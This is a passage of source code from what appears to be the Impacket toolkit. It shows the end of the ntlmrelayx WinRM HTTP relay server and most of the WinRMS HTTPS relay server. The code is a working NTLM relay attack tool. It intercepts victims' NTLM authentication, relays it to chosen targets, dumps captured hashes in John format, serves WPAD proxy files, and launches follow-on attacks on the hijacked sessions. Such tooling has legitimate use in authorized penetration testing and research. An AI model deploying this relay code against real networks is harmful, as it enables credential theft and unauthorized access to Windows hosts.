ntlm.NTLMSSP_NEGOTIATE_128\n                if negotiateMessage['flags'] & ntlm.NTLMSSP_NEGOTIATE_KEY_EXCH:\n                    ansFlags |= ntlm.NTLMSSP_NEGOTIATE_KEY_EXCH\n                if negotiateMessage['flags'] & ntlm.NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY:\n                    ansFlags |= ntlm.NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY\n                if negotiateMessage['flags'] & ntlm.NTLMSSP_NEGOTIATE_UNICODE:\n                    ansFlags |= ntlm.NTLMSSP_NEGOTIATE_UNICODE\n                if negotiateMessage['flags'] & ntlm.NTLM_NEGOTIATE_OEM:\n                    ansFlags |= ntlm.NTLM_NEGOTIATE_OEM\n\n                ansFlags |= ntlm.NTLMSSP_NEGOTIATE_VERSION | ntlm.NTLMSSP_NEGOTIATE_TARGET_INFO | \\\n                            ntlm.NTLMSSP_TARGET_TYPE_SERVER | ntlm.NTLMSSP_NEGOTIATE_NTLM\n\n                challengeMessage = ntlm.NTLMAuthChallenge()\n                challengeMessage['flags'] = ansFlags\n                challengeMessage['domain_name'] = \"\"\n                challengeMessage['challenge'] = ''.join(random.choice(string.printable) for _ in range(64))\n                challengeMessage['TargetInfoFields'] = ntlm.AV_PAIRS()\n                challengeMessage['TargetInfoFields_len'] = 0\n                challengeMessage['TargetInfoFields_max_len'] = 0\n                challengeMessage['TargetInfoFields_offset'] = 40 + 16\n                challengeMessage['Version'] = b'\\xff' * 8\n                challengeMessage['VersionLen'] = 8\n\n                self.do_AUTHHEAD(message=b'Negotiate ' + base64.b64encode(challengeMessage.getData()),proxy=proxy)\n                return\n\n            elif messageType == 3:\n                authenticateMessage = ntlm.NTLMAuthChallengeResponse()\n                authenticateMessage.fromString(token)\n                LOG.info(\"(WinRM): %s\" % authenticateMessage)\n                if authenticateMessage['flags'] & ntlm.NTLMSSP_NEGOTIATE_UNICODE:\n                    self.authUser = ('%s/%s' % (authenticateMessage['domain_name'].decode('utf-16le'),\n                                                authenticateMessage['user_name'].decode('utf-16le'))).upper()\n                else:\n                    self.authUser = ('%s/%s' % (authenticateMessage['domain_name'].decode('ascii'),\n                                                authenticateMessage['user_name'].decode('ascii'))).upper()\n\n                self.target = self.server.config.target.getTarget(identity = self.authUser)\n                if self.target is None:\n                    LOG.info(\"(WinRM): Connection from %s@%s controlled, but there are no more targets left!\" % (self.authUser, self.client_address[0]))\n                    self.send_not_found()\n                    return\n\n                LOG.info(\"(WinRM): Connection from %s@%s controlled, attacking target %s://%s\" % (self.authUser, self.client_address[0], self.target.scheme, self.target.netloc))\n\n                self.relayToHost = True\n                self.do_REDIRECT()\n\n        def do_relay(self, messageType, token, proxy, content = None):\n            if messageType == 1:\n                if self.server.config.disableMulti:\n                    self.target = self.server.config.target.getTarget(multiRelay=False)\n                    if self.target is None:\n                        LOG.info(\"(WinRM): Connection from %s controlled, but there are no more targets left!\" % self.client_address[0])\n                        self.send_not_found()\n                        return\n\n                    LOG.info(\"(WinRM): Connection from %s controlled, attacking target %s://%s\" % (self.client_address[0], self.target.scheme, self.target.netloc))\n\n                if not self.do_ntlm_negotiate(token, proxy=proxy):\n                    # Connection failed\n                    if self.server.config.disableMulti:\n                        LOG.error('(WinRM): Negotiating NTLM with %s://%s failed' % (self.target.scheme, self.target.netloc))\n                        self.send_not_found()\n                        return\n                    else:\n                        LOG.error('(WinRM): Negotiating NTLM with %s://%s failed. Skipping to next target' % (self.target.scheme, self.target.netloc))\n\n                        self.target = self.server.config.target.getTarget(identity=self.authUser)\n\n                        if self.target is None:\n                            LOG.info(\"(WinRM): Connection from %s@%s controlled, but there are no more targets left!\" % (self.authUser, self.client_address[0]))\n                            self.send_not_found()\n                            return\n\n                        LOG.info(\"(WinRM): Connection from %s@%s controlled, attacking target %s://%s\" % (self.authUser, self.client_address[0], self.target.scheme, self.target.netloc))\n\n                        self.do_REDIRECT()\n\n            elif messageType == 3:\n                authenticateMessage = ntlm.NTLMAuthChallengeResponse()\n                authenticateMessage.fromString(token)\n\n                if self.server.config.disableMulti:\n                    if authenticateMessage['flags'] & ntlm.NTLMSSP_NEGOTIATE_UNICODE:\n                        self.authUser = ('%s/%s' % (authenticateMessage['domain_name'].decode('utf-16le'),\n                                                    authenticateMessage['user_name'].decode('utf-16le'))).upper()\n                    else:\n                        self.authUser = ('%s/%s' % (authenticateMessage['domain_name'].decode('ascii'),\n                                                    authenticateMessage['user_name'].decode('ascii'))).upper()\n\n                    target = '%s://%s@%s' % (self.target.scheme, self.authUser.replace(\"/\", '\\\\'), self.target.netloc)\n\n                if not self.do_ntlm_auth(token, authenticateMessage):\n                    LOG.error(\"(WinRM): Authenticating against %s://%s as %s FAILED\" % (self.target.scheme, self.target.netloc,\n                                                                               self.authUser))\n                    if self.server.config.disableMulti:\n                        self.send_not_found()\n                        return\n                    # Only skip to next if the login actually failed, not if it was just anonymous login or a system account\n                    # which we don't want\n                    if authenticateMessage['user_name'] != '':  # and authenticateMessage['user_name'][-1] != '$':\n                        # No anonymous login, go to next host and avoid triggering a popup\n                        self.target = self.server.config.target.getTarget(identity=self.authUser)\n                        if self.target is None:\n                            LOG.info(\"(WinRM): Connection from %s@%s controlled, but there are no more targets left!\" % (self.authUser, self.client_address[0]))\n                            self.send_not_found()\n                            return\n\n                        LOG.info(\"(WinRM): Connection from %s@%s controlled, attacking target %s://%s\" % (self.authUser, self.client_address[0], self.target.scheme, self.target.netloc))\n\n                        self.do_REDIRECT()\n                    else:\n                        # If it was an anonymous login, send 401\n                        self.do_AUTHHEAD(b'Negotiate', proxy=proxy)\n                else:\n                    # Relay worked, do whatever we want here...\n                    self.client.setClientId()\n                    LOG.info(\"(WinRM): Authenticating connection from %s@%s against %s://%s SUCCEED [%s]\" % (self.authUser, self.client_address[0], self.target.scheme, self.target.netloc, self.client.client_id))\n\n                    ntlm_hash_data = outputToJohnFormat(self.challengeMessage['challenge'],\n                                                        authenticateMessage['user_name'],\n                                                        authenticateMessage['domain_name'],\n                                                        authenticateMessage['lanman'], authenticateMessage['ntlm'])\n                    self.client.sessionData['JOHN_OUTPUT'] = ntlm_hash_data\n\n                    if self.server.config.outputFile is not None:\n                        writeJohnOutputToFile(ntlm_hash_data['hash_string'], ntlm_hash_data['hash_version'],\n                                              self.server.config.outputFile)\n\n                    if self.server.config.dumpHashes is True:\n                        LOG.info(\"(WinRM): %s\" % ntlm_hash_data['hash_string'])\n\n                    self.do_attack()\n\n                    if self.server.config.disableMulti:\n                        # We won't use the redirect trick, closing connection...\n                        if self.command == \"PROPFIND\":\n                            self.send_multi_status(content)\n                        else:\n                            self.send_not_found()\n                        return\n                    else:\n                        # Let's grab our next target\n                        self.target = self.server.config.target.getTarget(identity=self.authUser)\n\n                        if self.target is None:\n                            LOG.info(\"(WinRM): Connection from %s@%s controlled, but there are no more targets left!\" % (self.authUser, self.client_address[0]))\n\n                            # Return Multi-Status status code to WebDAV servers\n                            if self.command == \"PROPFIND\":\n                                self.send_multi_status(content)\n                                return\n\n                            # Serve image and return 200 if --serve-image option has been set by user\n                            if (self.server.config.serve_image):\n                                self.serve_image()\n                                return\n\n                            # And answer 404 not found\n                            self.send_not_found()\n                            return\n\n                        # We have the next target, let's keep relaying...\n                        LOG.info(\"(WinRM): Connection from %s@%s controlled, attacking target %s://%s\" % (self.authUser, self.client_address[0], self.target.scheme, self.target.netloc))\n                        self.do_REDIRECT()\n\n        def do_attack(self):\n            # Check if SOCKS is enabled and if we support the target scheme\n            if self.server.config.runSocks and self.target.scheme.upper() in self.server.config.socksServer.supportedSchemes:\n                # Pass all the data to the socksplugins proxy\n                activeConnections.put((self.target.hostname, self.client.targetPort, self.target.scheme.upper(),\n                                       self.authUser, self.client, self.client.sessionData))\n                return\n\n            # If SOCKS is not enabled, or not supported for this scheme, fall back to \"classic\" attacks\n            if self.target.scheme.upper() in self.server.config.attacks:\n                # We have an attack.. go for it\n                clientThread = self.server.config.attacks[self.target.scheme.upper()](self.server.config, self.client.session,\n                                                                               self.authUser, self.target, self.client)\n                clientThread.start()\n            else:\n                LOG.error('(WinRM): No attack configured for %s' % self.target.scheme.upper())\n\n    def __init__(self, config):\n        Thread.__init__(self)\n        self.daemon = True\n        self.config = config\n        self.server = None\n        self.httpport = None\n\n    def run(self):\n        if not self.config.listeningPort:\n            self.config.listeningPort = 5985\n\n        LOG.info(\"Setting up WinRM (HTTP) Server on port %s\" % self.config.listeningPort)\n\n        # changed to read from the interfaceIP set in the configuration\n        self.server = self.HTTPServer((self.config.interfaceIp, self.config.listeningPort), self.HTTPHandler, self.config)\n\n        try:\n             self.server.serve_forever()\n        except KeyboardInterrupt:\n             pass\n        LOG.info('Shutting down WinRM (HTTP) Server')\n        self.server.server_close()\n"
  },
  {
    "path": "impacket/examples/ntlmrelayx/servers/winrmsrelayserver.py",
    "content": "# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright (C) 2022 Fortra. All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n# Description:\n#   WinRM (HTTPS) Relay Server\n#\n#   This is the WinRM (HTTPS) server which relays the NTLMSSP  messages to other protocols\n#\n# Authors:\n#   Joe Mondloch (jmk@foofus.net)\n#   Aurélien Chalot (@Defte_)\n\nimport ssl\nimport http.server\nimport socketserver\nimport socket\nimport base64\nimport random\nimport struct\nimport string\nfrom threading import Thread\nfrom six import PY2, b\nimport tempfile\nfrom OpenSSL import crypto\n\nfrom impacket import ntlm, LOG\nfrom impacket.smbserver import outputToJohnFormat, writeJohnOutputToFile\nfrom impacket.nt_errors import STATUS_ACCESS_DENIED, STATUS_SUCCESS\nfrom impacket.examples.ntlmrelayx.utils.targetsutils import TargetsProcessor\nfrom impacket.examples.ntlmrelayx.servers.socksserver import activeConnections\nfrom impacket.examples.utils import get_address\n\nclass WinRMSRelayServer(Thread):\n\n    class HTTPServer(socketserver.ThreadingMixIn, socketserver.TCPServer):\n        def __init__(self, server_address, RequestHandlerClass, config):\n            self.config = config\n            self.daemon_threads = True\n            self.address_family, server_address = get_address(server_address[0], server_address[1], self.config.ipv6)\n            self.wpad_counters = {}\n            \n            socketserver.TCPServer.allow_reuse_address = True\n            socketserver.TCPServer.__init__(self, server_address, RequestHandlerClass)\n\n            key = crypto.PKey()\n            key.generate_key(crypto.TYPE_RSA, 2048)\n            cert = crypto.X509()\n            cert.get_subject().CN = \"localhost\"\n            cert.set_serial_number(random.randint(0, 100000))\n            cert.gmtime_adj_notBefore(0)\n            cert.gmtime_adj_notAfter(10 * 365 * 24 * 60 * 60)\n            cert.set_issuer(cert.get_subject())\n            cert.set_pubkey(key)\n            cert.sign(key, \"sha256\")\n\n            cert_file = tempfile.NamedTemporaryFile(delete=False)\n            key_file = tempfile.NamedTemporaryFile(delete=False)\n            cert_file.write(crypto.dump_certificate(crypto.FILETYPE_PEM, cert))\n            key_file.write(crypto.dump_privatekey(crypto.FILETYPE_PEM, key))\n            cert_file.close()\n            key_file.close()\n\n            context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)\n            context.load_cert_chain(certfile=cert_file.name, keyfile=key_file.name)\n\n            self.ssl_context = context\n            self.socket = context.wrap_socket(self.socket, server_side=True)\n\n    class HTTPHandler(http.server.SimpleHTTPRequestHandler):\n        def __init__(self,request, client_address, server):\n            self.tls_context = server.ssl_context\n\n            self.server_version = \"Microsoft-HTTPAPI/2.0\"\n            self.sys_version = \"\"\n            self.server = server\n            self.protocol_version = \"HTTP/1.1\"\n            self.challengeMessage = None\n            self.target = None\n            self.client = None\n            self.machineAccount = None\n            self.machineHashes = None\n            self.domainIp = None\n            self.authUser = None\n            self.relayToHost = False\n            self.isFirstNeg = True\n            self.negotiation_count = 0 \n            self.wpad = 'function FindProxyForURL(url, host){if ((host == \"localhost\") || shExpMatch(host, \"localhost.*\") ||' \\\n                        '(host == \"127.0.0.1\")) return \"DIRECT\"; if (dnsDomainIs(host, \"%s\")) return \"DIRECT\"; ' \\\n                        'return \"PROXY %s:80; DIRECT\";} '\n            if self.server.config.mode != 'REDIRECT':\n                if self.server.config.target is None:\n                    # Reflection mode, defaults to SMB at the target, for now\n                    self.server.config.target = TargetsProcessor(singleTarget='SMB://%s:445/' % client_address[0])\n            try:\n                http.server.SimpleHTTPRequestHandler.__init__(self,request, client_address, server)\n            except Exception as e:\n                LOG.debug(\"(WinRMS): Exception:\", exc_info=True)\n                LOG.error(\"(WinRMS): %s\" % str(e))\n\n        def handle_one_request(self):\n            try:\n                http.server.SimpleHTTPRequestHandler.handle_one_request(self)\n            except KeyboardInterrupt:\n                raise\n            except Exception as e:\n                LOG.debug(\"(WinRMS): Exception:\", exc_info=True)\n\n        def log_message(self, format, *args):\n            return\n\n        def send_error(self, code, message=None):\n            if message.find('RPC_OUT') >= 0 or message.find('RPC_IN'):\n                LOG.info('(WinRMS): send_error path: %s' % self.path.lower())\n                return self.do_GET()\n            return http.server.SimpleHTTPRequestHandler.send_error(self, code, message)\n\n        def send_not_found(self):\n            self.send_response(404)\n            self.send_header('WWW-Authenticate', 'Negotiate')\n            self.send_header('Content-type', 'text/html')\n            self.send_header('Content-Length', '0')\n            self.send_header('Connection', 'close')\n            self.end_headers()\n\n        def send_multi_status(self, content):\n            self.send_response(207, \"Multi-Status\")\n            self.send_header('Content-Type', 'application/xml')\n            self.send_header('Content-Length', str(len(content)))\n            self.send_header('Connection', 'close')\n            self.end_headers()\n            self.wfile.write(content)\n\n        def serve_wpad(self):\n            wpadResponse = self.wpad % (self.server.config.wpad_host, self.server.config.wpad_host)\n            self.send_response(200)\n            self.send_header('Content-type', 'application/x-ns-proxy-autoconfig')\n            self.send_header('Content-Length',len(wpadResponse))\n            self.end_headers()\n            self.wfile.write(b(wpadResponse))\n            return\n\n        def should_serve_wpad(self, client):\n            # If the client was already prompted for authentication, see how many times this happened\n            try:\n                num = self.server.wpad_counters[client]\n            except KeyError:\n                num = 0\n            self.server.wpad_counters[client] = num + 1\n            # Serve WPAD if we passed the authentication offer threshold\n            if num >= self.server.config.wpad_auth_num:\n                return True\n            else:\n                return False\n\n        def serve_image(self):\n            with open(self.server.config.serve_image, 'rb') as imgFile:\n                imgFile_data = imgFile.read()\n                self.send_response(200, \"OK\")\n                self.send_header('Content-type', 'image/jpeg')\n                self.send_header('Content-Length', str(len(imgFile_data)))\n                self.end_headers()\n                self.wfile.write(imgFile_data)\n\n        def strip_blob(self, proxy):\n            if PY2:\n                if proxy:\n                    proxyAuthHeader = self.headers.getheader('Proxy-Authorization')\n                else:\n                    autorizationHeader = self.headers.getheader('Authorization')\n            else:\n                if proxy:\n                    proxyAuthHeader = self.headers.get('Proxy-Authorization')\n                else:\n                    autorizationHeader = self.headers.get('Authorization')\n\n            if (proxy and proxyAuthHeader is None) or (not proxy and autorizationHeader is None):\n                self.do_AUTHHEAD(message = b'NTLM',proxy=proxy)\n                messageType = 0\n                token = None\n            else:\n                if proxy:\n                    typeX = proxyAuthHeader\n                else:\n                    typeX = autorizationHeader\n                try:\n                    try:\n                        _, blob = typeX.split('NTLM')\n                    # Not using NTLM but Negotiate\n                    except ValueError:\n                        _, blob = typeX.split('Negotiate')\n                    token = base64.b64decode(blob.strip())\n                except Exception:\n                    LOG.debug(\"(WinRMS): Exception:\", exc_info=True)\n                    self.do_AUTHHEAD(message = b'NTLM', proxy=proxy)\n                else:\n                    messageType = struct.unpack('<L',token[len('NTLMSSP\\x00'):len('NTLMSSP\\x00')+4])[0]\n            return token, messageType\n\n        def do_HEAD(self):\n            self.send_response(200)\n            self.send_header('Content-type', 'text/html')\n            self.end_headers()\n\n        def do_OPTIONS(self):\n            self.send_response(200)\n            self.send_header('Allow',\n                             'GET, HEAD, POST, PUT, DELETE, OPTIONS, PROPFIND, PROPPATCH, MKCOL, LOCK, UNLOCK, MOVE, COPY')\n            self.send_header('Content-Length', '0')\n            self.send_header('Connection', 'close')\n            self.end_headers()\n            return\n\n        def do_PROPFIND(self):\n            proxy = False\n            if (\".jpg\" in self.path) or (\".JPG\" in self.path):\n                content = b\"\"\"<?xml version=\"1.0\"?><D:multistatus xmlns:D=\"DAV:\"><D:response><D:href>http://webdavrelay/file/image.JPG/</D:href><D:propstat><D:prop><D:creationdate>2016-11-12T22:00:22Z</D:creationdate><D:displayname>image.JPG</D:displayname><D:getcontentlength>4456</D:getcontentlength><D:getcontenttype>image/jpeg</D:getcontenttype><D:getetag>4ebabfcee4364434dacb043986abfffe</D:getetag><D:getlastmodified>Mon, 20 Mar 2017 00:00:22 GMT</D:getlastmodified><D:resourcetype></D:resourcetype><D:supportedlock></D:supportedlock><D:ishidden>0</D:ishidden></D:prop><D:status>HTTP/1.1 200 OK</D:status></D:propstat></D:response></D:multistatus>\"\"\"\n            else:\n                content = b\"\"\"<?xml version=\"1.0\"?><D:multistatus xmlns:D=\"DAV:\"><D:response><D:href>http://webdavrelay/file/</D:href><D:propstat><D:prop><D:creationdate>2016-11-12T22:00:22Z</D:creationdate><D:displayname>a</D:displayname><D:getcontentlength></D:getcontentlength><D:getcontenttype></D:getcontenttype><D:getetag></D:getetag><D:getlastmodified>Mon, 20 Mar 2017 00:00:22 GMT</D:getlastmodified><D:resourcetype><D:collection></D:collection></D:resourcetype><D:supportedlock></D:supportedlock><D:ishidden>0</D:ishidden></D:prop><D:status>HTTP/1.1 200 OK</D:status></D:propstat></D:response></D:multistatus>\"\"\"\n\n            token, messageType = self.strip_blob(proxy)\n\n            # Should we relay or -in locally?\n            if self.relayToHost is False and not self.server.config.disableMulti:\n                self.do_local_auth(messageType, token, proxy)\n                return\n            else:\n                # We can start the relay process\n                self.do_relay(messageType, token, proxy, content)\n\n        def do_AUTHHEAD(self, message = b'', proxy=False):\n            if proxy:\n                self.send_response(407)\n                self.send_header('Proxy-Authenticate', message.decode('utf-8'))\n            else:\n                self.send_response(401)\n                self.send_header('WWW-Authenticate', message.decode('utf-8'))\n\n            self.send_header('Content-Length','0')\n            self.send_header('Connection', 'keep-alive')\n            self.end_headers()\n\n        #Trickery to relay the victim to all the targets we want\n        def do_REDIRECT(self, proxy=False):\n            rstr = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(10))\n            self.send_response(307)\n            if proxy:\n                self.send_header('Proxy-Authenticate', 'NTLM')\n            else:\n                self.send_header('WWW-Authenticate', 'Negotiate')\n\n            self.send_header('Connection','keep-alive')\n            self.send_header('Location','/%s' % rstr)\n            self.send_header('Content-Length','0')\n            self.end_headers()\n\n        def do_SMBREDIRECT(self):\n            self.send_response(302)\n            self.send_header('Content-type', 'text/html')\n            self.send_header('Location','file://%s' % self.server.config.redirecthost)\n            self.send_header('Content-Length','0')\n            self.send_header('Connection','close')\n            self.end_headers()\n\n        def do_GET(self):\n            return self.do_GETPOST()\n\n        def do_POST(self):\n            return self.do_GETPOST()\n\n        def do_CONNECT(self):\n            # Client is using our server as a Proxy\n            proxy = True\n            token, messageType = self.strip_blob(proxy)\n\n            # We can't do the multirelay trick so we just relay the connection\n            self.do_relay(messageType, token, proxy)\n            return\n\n        def do_GETPOST(self): \n            if self.command == 'POST' and \"/wsman\" in self.path.lower():\n                content_length = int(self.headers.get('Content-Length', 0))\n                self.rfile.read(content_length)\n            else:\n                LOG.info('(WinRMS): Client requested path: %s' % self.path.lower())\n                self.send_not_found()\n                return\n\n            # Determine if the user is connecting to our server directly or attempts to use it as a proxy\n            if len(self.path) > 4 and self.path[:4].lower() == 'http':\n                proxy = True\n            else:\n                proxy = False\n\n            token, messageType = self.strip_blob(proxy)\n\n            # Should we relay or log-in locally?\n            if self.relayToHost is False and not self.server.config.disableMulti:\n                self.do_local_auth(messageType, token, proxy)\n                return\n            else:\n                self.do_relay(messageType, token, proxy)\n\n            return\n\n        def do_ntlm_negotiate(self, token, proxy):\n            if self.target.scheme.upper() in self.server.config.protocolClients:\n                self.client = self.server.config.protocolClients[self.target.scheme.upper()](self.server.config, self.target)\n                # If connection failed, return\n                if not self.client.initConnection():\n                    return False\n\n                if self.negotiation_count > 1:\n                  return False \n\n                self.negotiation_count += 1\n\n                self.challengeMessage = self.client.sendNegotiate(token)\n\n                # Remove target NetBIOS field from the NTLMSSP_CHALLENGE\n                if self.server.config.remove_target:\n                    av_pairs = ntlm.AV_PAIRS(self.challengeMessage['TargetInfoFields'])\n                    del av_pairs[ntlm.NTLMSSP_AV_HOSTNAME]\n                    self.challengeMessage['TargetInfoFields'] = av_pairs.getData()\n                    self.challengeMessage['TargetInfoFields_len'] = len(av_pairs.getData())\n                    self.challengeMessage['TargetInfoFields_max_len'] = len(av_pairs.getData())\n\n                # Check for errors\n                if self.challengeMessage is False:\n                    return False\n            else:\n                LOG.error('(WinRMS): Protocol Client for %s not found!' % self.target.scheme.upper())\n                return False\n\n            self.do_AUTHHEAD(message = b'NTLM '+base64.b64encode(self.challengeMessage.getData()), proxy=proxy)\n            return True\n\n        def do_ntlm_auth(self,token,authenticateMessage):\n            if authenticateMessage['user_name'] != '' or self.target.hostname == '127.0.0.1':\n                clientResponse, errorCode = self.client.sendAuth(token)\n            else:\n                errorCode = STATUS_ACCESS_DENIED\n\n            if errorCode == STATUS_SUCCESS:\n                return True\n\n            return False\n\n        def do_local_auth(self, messageType, token, proxy):\n            if messageType == 1:\n                negotiateMessage = ntlm.NTLMAuthNegotiate()\n                negotiateMessage.fromString(token)\n                ansFlags = 0\n\n                if negotiateMessage['flags'] & ntlm.NTLMSSP_NEGOTIATE_56:\n                    ansFlags |= ntlm.NTLMSSP_NEGOTIATE_56\n                if negotiateMessage['flags'] & ntlm.NTLMSSP_NEGOTIATE_128:\n                    ansFlags |= ntlm.NTLMSSP_NEGOTIATE_128\n                if negotiateMessage['flags'] & ntlm.NTLMSSP_NEGOTIATE_KEY_EXCH:\n                    ansFlags |= ntlm.NTLMSSP_NEGOTIATE_KEY_EXCH\n                if negotiateMessage['flags'] & ntlm.NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY:\n                    ansFlags |= ntlm.NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY\n                if negotiateMessage['flags'] & ntlm.NTLMSSP_NEGOTIATE_UNICODE:\n                    ansFlags |= ntlm.NTLMSSP_NEGOTIATE_UNICODE\n                if negotiateMessage['flags'] & ntlm.NTLM_NEGOTIATE_OEM:\n                    ansFlags |= ntlm.NTLM_NEGOTIATE_OEM\n\n                ansFlags |= ntlm.NTLMSSP_NEGOTIATE_VERSION | ntlm.NTLMSSP_NEGOTIATE_TARGET_INFO | \\\n                            ntlm.NTLMSSP_TARGET_TYPE_SERVER | ntlm.NTLMSSP_NEGOTIATE_NTLM\n\n                challengeMessage = ntlm.NTLMAuthChallenge()\n                challengeMessage['flags'] = ansFlags\n                challengeMessage['domain_name'] = \"\"\n                challengeMessage['challenge'] = ''.join(random.choice(string.printable) for _ in range(64))\n                challengeMessage['TargetInfoFields'] = ntlm.AV_PAIRS()\n                challengeMessage['TargetInfoFields_len'] = 0\n                challengeMessage['TargetInfoFields_max_len'] = 0\n                challengeMessage['TargetInfoFields_offset'] = 40 + 16\n                challengeMessage['Version'] = b'\\xff' * 8\n                challengeMessage['VersionLen'] = 8\n\n                self.do_AUTHHEAD(message=b'Negotiate ' + base64.b64encode(challengeMessage.getData()),proxy=proxy)\n                return\n\n            elif messageType == 3:\n                authenticateMessage = ntlm.NTLMAuthChallengeResponse()\n                authenticateMessage.fromString(token)\n\n                if authenticateMessage['flags'] & ntlm.NTLMSSP_NEGOTIATE_UNICODE:\n                    self.authUser = ('%s/%s' % (authenticateMessage['domain_name'].decode('utf-16le'),\n                                                authenticateMessage['user_name'].decode('utf-16le'))).upper()\n                else:\n                    self.authUser = ('%s/%s' % (authenticateMessage['domain_name'].decode('ascii'),\n                                                authenticateMessage['user_name'].decode('ascii'))).upper()\n\n                self.target = self.server.config.target.getTarget(identity = self.authUser)\n                if self.target is None:\n                    LOG.info(\"(WinRMS): Connection from %s@%s controlled, but there are no more targets left!\" % (self.authUser, self.client_address[0]))\n                    self.send_not_found()\n                    return\n\n                LOG.info(\"(WinRMS): Connection from %s@%s controlled, attacking target %s://%s\" % (self.authUser, self.client_address[0], self.target.scheme, self.target.netloc))\n\n                self.relayToHost = True\n                self.do_REDIRECT()\n\n        def do_relay(self, messageType, token, proxy, content = None):\n            if messageType == 1:\n                if self.server.config.disableMulti:\n                    self.target = self.server.config.target.getTarget(multiRelay=False)\n                    if self.target is None:\n                        LOG.info(\"(WinRMS): Connection from %s controlled, but there are no more targets left!\" % self.client_address[0])\n                        self.send_not_found()\n                        return\n\n                    LOG.info(\"(WinRMS): Connection from %s controlled, attacking target %s://%s\" % (self.client_address[0], self.target.scheme, self.target.netloc))\n\n                if not self.do_ntlm_negotiate(token, proxy=proxy):\n                    # Connection failed\n                    if self.server.config.disableMulti:\n                        LOG.error('(WinRMS): Negotiating NTLM with %s://%s failed' % (self.target.scheme, self.target.netloc))\n                        self.send_not_found()\n                        return\n                    else:\n                        LOG.error('(WinRMS): Negotiating NTLM with %s://%s failed. Skipping to next target' % (self.target.scheme, self.target.netloc))\n\n                        self.target = self.server.config.target.getTarget(identity=self.authUser)\n\n                        if self.target is None:\n                            LOG.info(\"(WinRMS): Connection from %s@%s controlled, but there are no more targets left!\" % (self.authUser, self.client_address[0]))\n                            self.send_not_found()\n                            return\n\n                        LOG.info(\"(WinRMS): Connection from %s@%s controlled, attacking target %s://%s\" % (self.authUser, self.client_address[0], self.target.scheme, self.target.netloc))\n\n                        self.do_REDIRECT()\n\n            elif messageType == 3:\n                authenticateMessage = ntlm.NTLMAuthChallengeResponse()\n                authenticateMessage.fromString(token)\n\n                if self.server.config.disableMulti:\n                    if authenticateMessage['flags'] & ntlm.NTLMSSP_NEGOTIATE_UNICODE:\n                        self.authUser = ('%s/%s' % (authenticateMessage['domain_name'].decode('utf-16le'),\n                                                    authenticateMessage['user_name'].decode('utf-16le'))).upper()\n                    else:\n                        self.authUser = ('%s/%s' % (authenticateMessage['domain_name'].decode('ascii'),\n                                                    authenticateMessage['user_name'].decode('ascii'))).upper()\n                    target = '%s://%s@%s' % (self.target.scheme, self.authUser.replace(\"/\", '\\\\'), self.target.netloc)\n\n                if not self.do_ntlm_auth(token, authenticateMessage):\n                    LOG.error(\"(WinRMS): Authenticating against %s://%s as %s FAILED\" % (self.target.scheme, self.target.netloc,\n                                                                               self.authUser))\n                    if self.server.config.disableMulti:\n                        self.send_not_found()\n                        return\n\n                    # Only skip to next if the login actually failed, not if it was just anonymous login or a system account\n                    # which we don't want\n                    if authenticateMessage['user_name'] != '':  # and authenticateMessage['user_name'][-1] != '$':\n                        # No anonymous login, go to next host and avoid triggering a popup\n                        self.target = self.server.config.target.getTarget(identity=self.authUser)\n                        if self.target is None:\n                            LOG.info(\"(WinRMS): Connection from %s@%s controlled, but there are no more targets left!\" % (self.authUser, self.client_address[0]))\n                            self.send_not_found()\n                            return\n\n                        LOG.info(\"(WinRMS): Connection from %s@%s controlled, attacking target %s://%s\" % (self.authUser, self.client_address[0], self.target.scheme, self.target.netloc))\n\n                        self.do_REDIRECT()\n                    else:\n                        # If it was an anonymous login, send 401\n                        self.do_AUTHHEAD(b'Negotiate', proxy=proxy)\n                else:\n                    # Relay worked, do whatever we want here...\n                    self.client.setClientId()\n                    LOG.info(\"(WinRMS): Authenticating connection from %s@%s against %s://%s SUCCEED [%s]\" % (self.authUser, self.client_address[0], self.target.scheme, self.target.netloc, self.client.client_id))\n\n                    ntlm_hash_data = outputToJohnFormat(self.challengeMessage['challenge'],\n                                                        authenticateMessage['user_name'],\n                                                        authenticateMessage['domain_name'],\n                                                        authenticateMessage['lanman'], authenticateMessage['ntlm'])\n                    self.client.sessionData['JOHN_OUTPUT'] = ntlm_hash_data\n\n                    if self.server.config.outputFile is not None:\n                        writeJohnOutputToFile(ntlm_hash_data['hash_string'], ntlm_hash_data['hash_version'],\n                                              self.server.config.outputFile)\n\n                    if self.server.config.dumpHashes is True:\n                        LOG.info(\"(WinRMS): %s\" % ntlm_hash_data['hash_string'])\n\n                    self.do_attack()\n\n                    if self.server.config.disableMulti:\n                        # We won't use the redirect trick, closing connection...\n                        if self.command == \"PROPFIND\":\n                            self.send_multi_status(content)\n                        else:\n                            self.send_not_found()\n                        return\n                    else:\n                        # Let's grab our next target\n                        self.target = self.server.config.target.getTarget(identity=self.authUser)\n\n                        if self.target is None:\n                            LOG.info(\"(WinRMS): Connection from %s@%s controlled, but there are no more targets left!\" % (self.authUser, self.client_address[0]))\n\n                            # Return Multi-Status status code to WebDAV servers\n                            if self.command == \"PROPFIND\":\n                                self.send_multi_status(content)\n                                return\n\n                            # Serve image and return 200 if --serve-image option has been set by user\n                            if (self.server.config.serve_image):\n                                self.serve_image()\n                                return\n\n                            # And answer 404 not found\n                            self.send_not_found()\n                            return\n\n                        # We have the next target, let's keep relaying...\n                        LOG.info(\"(WinRMS): Connection from %s@%s controlled, attacking target %s://%s\" % (self.authUser, self.client_address[0], self.target.scheme, self.target.netloc))\n                        self.do_REDIRECT()\n\n        def do_attack(self):\n            # Check if SOCKS is enabled and if we support the target scheme\n            if self.server.config.runSocks and self.target.scheme.upper() in self.server.config.socksServer.supportedSchemes:\n                # Pass all the data to the socksplugins proxy\n                activeConnections.put((self.target.hostname, self.client.targetPort, self.target.scheme.upper(),\n                                       self.authUser, self.client, self.client.sessionData))\n                return\n\n            # If SOCKS is not enabled, or not supported for this scheme, fall back to \"classic\" attacks\n            if self.target.scheme.upper()  in self.server.config.attacks:\n                # We have an attack.. go for it\n                clientThread = self.server.config.attacks[self.target.scheme.upper()](self.server.config, self.client.session,\n                                                                               self.authUser, self.target, self.client)\n                clientThread.start()\n            else:\n                